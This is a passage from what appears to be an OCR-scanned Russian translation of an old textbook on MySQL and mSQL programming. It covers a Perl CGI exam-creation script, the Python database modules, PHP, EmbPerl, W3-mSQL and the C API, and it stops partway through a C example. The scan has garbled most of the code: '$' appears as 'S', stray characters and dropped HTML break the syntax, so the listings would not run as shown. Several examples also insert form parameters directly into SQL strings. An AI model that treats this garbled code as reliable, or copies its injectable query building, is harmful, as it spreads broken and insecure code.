    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

